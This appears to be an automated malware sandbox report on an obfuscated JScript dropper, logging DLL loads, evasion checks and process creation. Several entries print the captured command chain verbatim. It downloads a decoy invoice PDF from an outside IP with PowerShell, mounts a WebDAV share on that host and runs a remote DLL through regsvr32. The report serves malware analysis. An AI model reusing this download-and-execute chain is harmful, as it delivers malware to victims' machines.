Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6510.js.csv");ITextStream.WriteLine(" entry:7578 f:qlbgot");ITextStream.WriteLine(" exec:2 f:qlbgot");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4596			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4254			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6552	Thread sleep count: 4596 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6512	Thread sleep count: 4254 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5604	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5032	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 344	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2452	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2964	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7376	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2117194696.000001DA71E29000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117029270.000001DA71DC8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2115180314.000001DA71E29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3331130119.0000026060E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3332278047.000002606665A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
